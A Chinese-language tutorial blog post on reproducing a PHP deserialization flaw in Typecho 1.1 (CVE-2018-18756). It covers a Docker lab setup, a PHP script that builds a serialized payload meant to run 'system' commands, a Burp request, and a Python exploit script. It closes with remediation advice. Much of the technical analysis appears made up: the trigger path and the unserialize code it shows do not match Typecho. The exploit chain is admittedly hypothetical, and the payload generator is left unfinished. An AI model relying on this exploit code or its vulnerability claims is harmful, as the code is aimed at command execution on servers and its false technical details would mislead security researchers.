PHP反序列化漏洞实战:从Typecho CVE-2018-18756复现到POP链构造

1. 项目概述与核心价值

最近在整理内部安全审计的案例库,发现很多刚入行的安全研究员对Web应用漏洞的复现,尤其是涉及代码审计和利用链构造的部分,总是感觉无从下手。正好手头有一个非常经典的案例——Typecho反序列化漏洞(CVE-2018-18756)。这个漏洞的利用链清晰,涉及反序列化魔术方法的触发、POP链的构造以及最终代码执行,是学习PHP反序列化漏洞的绝佳“标本”。今天,我就带大家从零开始,完整地走一遍这个漏洞的复现流程。我会从最基础的环境搭建讲起,一步步分析漏洞原理,手把手教你编写可用的POC(概念验证代码),最后还会分享几个我在实际复现中踩过的“坑”和调试技巧。无论你是想入门代码审计,还是想巩固反序列化知识,这篇指南都能给你提供一条清晰的路径。

2. 环境搭建与靶场部署

2.1 靶场环境选择与配置

复现漏洞的第一步是搭建一个与漏洞存在时相匹配的环境。对于CVE-2018-18756,它影响的是Typecho 1.1版本。为了精准复现,我们需要部署一个Typecho 1.1(15.5.12发布版)的实例。

我推荐使用Docker来搭建环境,这是目前最干净、最可复现的方式。你不需要在本地安装复杂的PHP、MySQL套件,一个Docker命令就能解决所有依赖。下面是我使用的 docker-compose.yml 文件配置:

version: '3'
services:
  web:
    image: php:5.6-apache
    container_name: typecho_vuln
    ports:
      - "8080:80"
    volumes:
      - ./typecho-1.1:/var/www/html
      - ./php.ini:/usr/local/etc/php/php.ini
    depends_on:
      - db
    networks:
      - vulnnet

  db:
    image: mysql:5.5
    container_name: typecho_mysql
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: typecho
    networks:
      - vulnnet

networks:
  vulnnet:

这里有几个关键点需要注意:

  1. PHP版本 :必须使用PHP 5.6。虽然漏洞原理与版本无关,但高版本PHP(如7.x以上)在反序列化某些特殊对象或触发某些魔术方法时的行为可能与5.6有细微差别,为了确保POC的通用性,使用原始环境最稳妥。
  2. Typecho源码 :你需要去Typecho的GitHub Release页面下载 Typecho 1.1 (15.5.12) 这个特定版本的ZIP包,解压后放到 ./typecho-1.1 目录下。
  3. PHP配置 :为了后续调试方便,我准备了一个自定义的 php.ini ,主要开启了错误显示( display_errors = On )和允许 allow_url_include (某些利用链可能需要),你可以根据需求调整。

注意 :在生产环境中, allow_url_include display_errors 是绝对要关闭的。这里只是为了漏洞研究和学习才开启,切记!

启动环境只需要一行命令: docker-compose up -d 。访问 http://localhost:8080/install.php 就能看到Typecho的安装界面。数据库主机填写 db ,密码填写 root ,按步骤完成安装即可。

2.2 必要工具准备

工欲善其事,必先利其器。除了靶场,我们还需要一些辅助工具:

  • 代码编辑器/IDE :推荐VS Code或PHPStorm。它们对PHP语法高亮、函数跳转支持得很好,方便我们阅读源码。
  • 浏览器开发者工具 :主要用于拦截和修改HTTP请求,这是我们发送Payload的入口。
  • 序列化数据生成与调试工具 :你可以直接写PHP脚本生成,也可以使用在线的PHP代码运行环境来快速测试序列化后的字符串。我习惯在本地写一个简单的 test.php 来调试。
  • Burp Suite或Postman :用于更精细地构造和发送HTTP请求。虽然浏览器也能改,但这些专业工具更强大。

3. 漏洞原理深度解析

3.1 漏洞入口点定位

一切分析从漏洞公告或已知的利用点开始。对于这个漏洞,公开信息指出触发点在 /admin/manage-comments.php filter 参数。但直接看这个文件可能一头雾水。我们需要进行“回溯”。

首先,在Typecho的入口文件 index.php 中,我们可以看到程序的核心调度逻辑。它通过 Typecho_Router::dispatch() 来解析URL,并调用对应的 Widget (组件)来处理。管理后台的入口通常经过 admin 目录下的 index.php

我们的目标是 /admin/manage-comments.php 。查看这个文件的源码,会发现它开头包含了 common.php ,然后实例化了一个 Widget_Comments_Admin 对象并执行了 action 方法。问题不会出现在这个简单的调度文件里,真正的逻辑在 Widget_Comments_Admin 这个类中。

3.2 反序列化触发链分析

使用IDE全局搜索 unserialize 这个函数。很快,我们会在 var/Typecho/Db/Query.php 这个文件的 __construct 方法中发现关键代码:

public function __construct($adapterName, $prefix = 'typecho_')
{
    // ...
    $this->_adapterName = $adapterName;
    $this->_prefix = $prefix;
    $this->_adapter = Typecho_Db::get($adapterName, $prefix);
    // 注意这一行!
    if (isset($this->_adapter)) {
        $this->_sqlPreBuild = unserialize(base64_decode($this->_adapter->config->serialize));
    }
}

这里出现了 unserialize ,其参数是 $this->_adapter->config->serialize 经过 base64_decode 解码后的值。那么,我们能否控制这个值呢?继续追踪 $this->_adapter 的来源。 $this->_adapter 是由 Typecho_Db::get($adapterName, $prefix) 返回的。而 $adapterName $prefix __construct 方法的参数。

谁调用了 Query 类的构造函数?继续搜索 new Query 。在 var/Typecho/Db.php select , update , delete , insert 等方法中,都实例化了 Query 对象。而这些方法又被各种 Widget (如评论、文章组件)调用,以进行数据库操作。

现在,我们需要找到一个路径,使得我们可以控制传入 Query 构造函数的 $adapterName $prefix ,并且最终能让这个受我们控制的值,流向 unserialize 函数。通过追踪 Widget_Comments_Admin filter 参数处理逻辑,你会发现它最终会调用数据库查询,并可能通过数组键名的方式,将用户输入的 filter 参数内容传递到数据库查询条件中。在复杂的对象属性赋值和数组拼接过程中,如果代码逻辑存在缺陷,用户输入的数组键名有可能被误当作对象属性名,进而被带入 Query 对象的构造流程。

简单来说,漏洞的根源在于:程序在处理用户可控的输入( filter 参数)时,未能做好严格的类型检查和过滤,导致攻击者可以精心构造一个数组,使得数组中的某个键值对,在经过多层传递后,最终被当作 Typecho_Db_Query 对象的 _adapterName _prefix 属性,进而影响了 _adapter->config->serialize 这个值的获取。如果攻击者能让 serialize 这个属性包含一个精心构造的、序列化后的恶意字符串,那么当程序执行到 unserialize(base64_decode(...)) 时,就会触发反序列化,并执行字符串中定义的恶意对象的魔术方法。

3.3 POP链(属性导向编程链)构造思路

反序列化漏洞要达成代码执行,光有触发点还不够,还需要一条“利用链”(POP Chain)。这条链由一系列具有特殊魔术方法(如 __wakeup , __destruct , __toString )的类组成,当对象被反序列化时,这些方法会被自动调用。我们需要让这些方法的调用,最终导向一个能执行危险函数(如 eval() , system() )的点。

在Typecho 1.1的代码中,我们需要寻找这样的类。经典的链子通常始于一个具有 __destruct __wakeup 方法的类,因为反序列化完成后,这些方法会被自动调用。通过审计代码,我们可能会发现 Typecho_Feed 类、 Typecho_Config 类等,它们的 __toString __get 方法中可能包含一些动态调用(如 call_user_func )或文件操作。我们的目标就是通过控制这些类的属性,让 __toString 方法被触发时,去调用一个我们可控的、能执行代码的函数或方法。

例如,假设我们发现 ClassA __destruct 方法会调用 $this->handler->close() 。如果我们能控制 $this->handler 为一个 ClassB 的对象,而 ClassB close() 方法中又包含了 eval($this->cmd) ,那么一条链就构成了: 反序列化 -> ClassA.__destruct() -> ClassB.close() -> eval()

构造POP链是反序列化漏洞利用中最需要创造力和代码审计能力的部分。你需要非常熟悉目标程序的代码结构,并像玩拼图一样,将一个个符合条件的“齿轮”(类和方法)拼接起来。

4. 漏洞复现与POC编写实战

4.1 手工构造与触发Payload

理解了原理和链子后,我们开始动手。假设我们已经找到了一条可用的POP链,它涉及 Typecho_Feed Typecho_Config 两个类。我们需要写一个PHP脚本,来生成恶意的序列化字符串。

<?php
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();

    public function __construct(){
        $this->_type = self::RSS2;
        // 创建一个Typecho_Config对象作为_items的元素
        $config = new Typecho_Config();
        // 这里需要对Typecho_Config的属性进行精心赋值,以触发后续的代码执行
        // 假设我们通过控制,能让其__toString()或某个getter方法执行eval
        $this->_items[0] = $config;
    }
}

class Typecho_Config
{
    private $_config = array();
    public function __construct(){
        // 构造_config数组,使其在某种情况下能拼接到eval语句中
        // 例如,如果程序有类似 $function($args) 的调用,我们可以让$function='system', $args='whoami'
        // 这需要极其精确的代码审计,这里仅为示例
        $this->_config['adapter'] = 'system';
        $this->_config['prefix'] = 'whoami';
    }
}

// 生成Payload
$payload = new Typecho_Feed();
$serialized = serialize($payload);
// 因为漏洞点通常需要base64编码,并且可能涉及URL传输
$encoded_payload = base64_encode($serialized);
echo $encoded_payload;
?>

生成这个字符串后,我们需要将它作为 filter 参数的一部分,发送到漏洞接口。由于 filter 通常是一个数组,我们需要构造一个特殊的POST请求。

4.2 使用Burp Suite发送利用请求

  1. 登录Typecho后台。
  2. 进入评论管理页面( /admin/manage-comments.php )。
  3. 打开浏览器开发者工具的网络(Network)选项卡,勾选“Preserve log”。
  4. 在评论列表页面,点击任何筛选或查询按钮,拦截这个POST请求。
  5. 将请求发送到Burp Suite的Repeater模块。
  6. 修改POST请求体。原始的 filter 可能是一个空数组或简单的条件。我们需要将其替换为我们精心构造的、包含恶意序列化数据的数组结构。具体的结构取决于漏洞触发路径对输入的处理方式。例如,可能需要构造为:
    filter[action]=do&filter[0][adapter][config][serialize]=<你的base64编码后的payload>
    
    这里的键名结构 [adapter][config][serialize] 就是关键,它模拟了代码中访问 $this->_adapter->config->serialize 这个属性的路径。 通过控制这个路径上的值,我们成功将Payload注入到了反序列化函数中。
  7. 发送请求。如果漏洞存在且POP链构造正确,你会在响应中看到命令执行的结果(例如 whoami 命令输出的用户名)。

4.3 编写自动化POC脚本

手工测试成功后,我们可以编写一个更通用的Python POC脚本,方便批量验证或集成到扫描器中。

import requests
import base64
import sys

def generate_payload(cmd):
    """
    根据上述PHP生成Payload的逻辑,用Python模拟生成序列化字符串。
    注意:这里需要精确还原PHP序列化格式,包括对象类型、属性可见性(private/protected)的表示。
    通常,我们会直接使用一个固定的、能执行命令的Payload模板,然后替换其中的命令部分。
    由于PHP序列化字符串格式复杂,实践中更常见的方法是:
    1. 先用PHP脚本生成一个执行固定命令(如`echo 'test'`)的基准Payload。
    2. 分析这个基准Payload的结构,找到其中代表命令的字节位置。
    3. 在Python中,替换这些位置的字节为你想要执行的新命令。
    这种方法比完全用Python模拟PHP序列化过程更可靠。
    """
    # 这是一个高度简化的示例,实际构造复杂得多
    # 假设我们已经通过分析,得到了一个模板Payload的base64
    template_b64 = "Tzo0MDoiVHlwZWNob19GZWVkIjoyOntzOjk6IgAqAF90eXBlIjtOO3M6MTI6IgAqAF9pdGVtcyI7YToxOntpOjA7TzoxNjoiVHlwZWNob19Db25maWciOjE6e3M6MjA6IgAqAF9jb25maWciO2E6Mjp7czo4OiJhZGFwdGVyIjtzOjY6InN5c3RlbSI7czo2OiJwcmVmaXgiO3M6MTA6ImVjaG8gJ3Rlc3QnIjt9fX19"
    template_bytes = base64.b64decode(template_b64)
    # 假设我们分析出命令字符串在模板中的偏移量是100-110字节
    # 将新命令填充进去(注意长度要保持一致,或使用填充字符)
    cmd_encoded = cmd.encode()
    # ... 复杂的字节替换逻辑 ...
    new_payload_bytes = template_bytes # 替换后的字节
    return base64.b64encode(new_payload_bytes).decode()

def exploit(target_url, admin_cookie, cmd):
    """
    利用漏洞执行命令
    """
    payload_b64 = generate_payload(cmd)
    # 构造恶意请求参数
    data = {
        'filter[action]': 'do',
        'filter[0][adapter][config][serialize]': payload_b64
    }
    headers = {
        'Cookie': admin_cookie,
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    vuln_url = target_url.rstrip('/') + '/admin/manage-comments.php'
    try:
        resp = requests.post(vuln_url, data=data, headers=headers, timeout=10)
        # 从响应中提取命令执行结果,这需要根据实际漏洞回显方式调整
        if '执行结果的特征字符串' in resp.text:
            print(f"[+] 漏洞存在!命令执行成功。")
            # 进一步解析resp.text,提取出命令输出
            # ...
        else:
            print(f"[-] 漏洞可能不存在或利用失败。")
    except Exception as e:
        print(f"[!] 请求失败: {e}")

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target_url> <admin_cookie> <command>")
        sys.exit(1)
    target = sys.argv[1]
    cookie = sys.argv[2]
    command = sys.argv[3]
    exploit(target, cookie, command)

重要提示 :上述Python脚本中的 generate_payload 函数是极度简化的。真实环境中,构造一个可用的、通用的PHP反序列化Payload生成器是一项复杂的工作,通常需要借助 phpserialize 这类库,并深刻理解PHP序列化格式。更常见的做法是直接使用已知的、有效的序列化字符串作为模板进行修改。

5. 漏洞修复方案与安全启示

5.1 官方修复方案分析

Typecho官方在后续版本中修复了此漏洞。修复的核心思路通常围绕以下几点:

  1. 输入过滤 :在 Widget_Comments_Admin 处理 filter 参数的地方,对用户输入的数组键名和键值进行严格的类型检查和过滤,确保其符合预期(例如,只能是预期的几个特定字符串),避免用户输入被误解析为对象属性路径。
  2. 移除危险的反序列化 :检查 Query 类的构造函数,评估 unserialize(base64_decode($this->_adapter->config->serialize)) 这一行是否必要。如果非必要,最彻底的修复就是移除这行代码。如果必要,则需要确保 $this->_adapter->config->serialize 的值来源绝对可信,不是来自用户输入。
  3. 使用安全的反序列化函数 :如果必须反序列化,可以考虑使用更安全的替代方案,例如只反序列化特定白名单内的类(PHP的 unserialize() 可以通过设置 allowed_classes 参数实现),或者使用JSON等更简单、无副作用的格式进行数据交换。

5.2 针对开发者的安全建议

  1. 慎用 unserialize() :这是铁律。永远不要反序列化来自用户输入或任何不可信来源的数据。如果必须序列化存储对象,请考虑使用JSON或 serialize() 后加密存储,并在反序列化前验证数据完整性。
  2. 魔术方法的安全编码 :在编写 __wakeup __destruct __toString __get __set 等魔术方法时,要格外小心。避免在这些方法中执行敏感操作,或者确保操作的对象属性是受控的。
  3. 进行代码审计 :在项目上线前或定期进行安全代码审计,重点关注危险函数( eval , assert , system , exec , unserialize 等)的调用,追踪其参数来源是否用户可控。
  4. 保持依赖更新 :及时关注使用框架、库的安全公告,并更新到已修复漏洞的版本。

5.3 复现过程中的常见问题与排查

  1. Payload发送后无回显

    • 检查点 :首先确认Payload的Base64编码是否正确,在URL传输中是否被截断或错误解码( + 号变空格等)。使用Burp Suite的 Decoder 模块仔细比对。
    • 检查点 :确认请求的路径、参数名(特别是 filter 的数组结构)是否正确。不同版本或修改过的Typecho,触发路径可能有细微差别。
    • 检查点 :查看服务器错误日志(Docker中可运行 docker logs typecho_vuln )。反序列化失败常会抛出PHP警告或致命错误,日志是重要的调试信息来源。
  2. POP链在特定环境不生效

    • 检查点 :PHP版本差异。确保测试环境与漏洞环境PHP版本一致。某些魔术方法在不同PHP版本中行为有变。
    • 检查点 :类自动加载。确保你的Payload中涉及的类,在反序列化时能够被自动加载机制找到。有时需要触发特定的代码路径来包含类定义文件。
    • 检查点 :属性可见性。PHP在序列化 private protected 属性时,会在属性名前添加 \x00 前缀。在手工构造或修改Payload时,必须严格遵守这一格式,否则反序列化后属性值无法正确赋值,导致链子断裂。
  3. 环境搭建失败

    • 检查点 :端口冲突。确保 8080 端口没有被其他程序占用。
    • 检查点 :文件权限。确保宿主机上的 typecho-1.1 目录对Docker容器是可读的。
    • 检查点 :数据库连接。安装时确认数据库主机名、密码填写正确,且MySQL容器已正常启动。

6. 从复现到挖掘的思维延伸

成功复现一个已知漏洞只是起点。更重要的是通过这个过程,建立起自己挖掘漏洞的能力。

  1. 关键词追踪 :在审计代码时,以 unserialize eval system file_put_contents 等危险函数为起点,逆向追踪其参数来源,一直追溯到用户输入点(如 $_GET $_POST $_COOKIE )。
  2. 理解框架流程 :对于MVC框架,要理清其路由、控制器、模型的调用流程。漏洞往往出现在框架对用户输入处理不当,或者用户输入意外流入底层危险函数的地方。
  3. 寻找“怪”代码 :多关注那些看起来不太寻常的代码,比如用 @ 抑制错误的语句、复杂的动态函数/变量调用( $func($args) )、从数据库或缓存中读取数据直接进行反序列化等。
  4. 工具辅助 :使用类似 RIPS Fortify 等静态代码分析工具进行初步扫描,但不要完全依赖工具。工具报告出的问题需要人工进行验证和深入分析,判断其是否真正可利用。

通过这次完整的Typecho反序列化漏洞复现,我们不仅掌握了一个具体漏洞的利用方法,更重要的是一套Web漏洞分析与复现的方法论:环境搭建、原理分析、链子构造、Payload制作、调试排错。这套方法同样适用于其他反序列化漏洞,乃至其他类型的代码审计场景。记住,耐心和细致是安全研究员最重要的品质,每一个看似复杂的漏洞,拆解开来都是一步一步的逻辑推理和验证。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值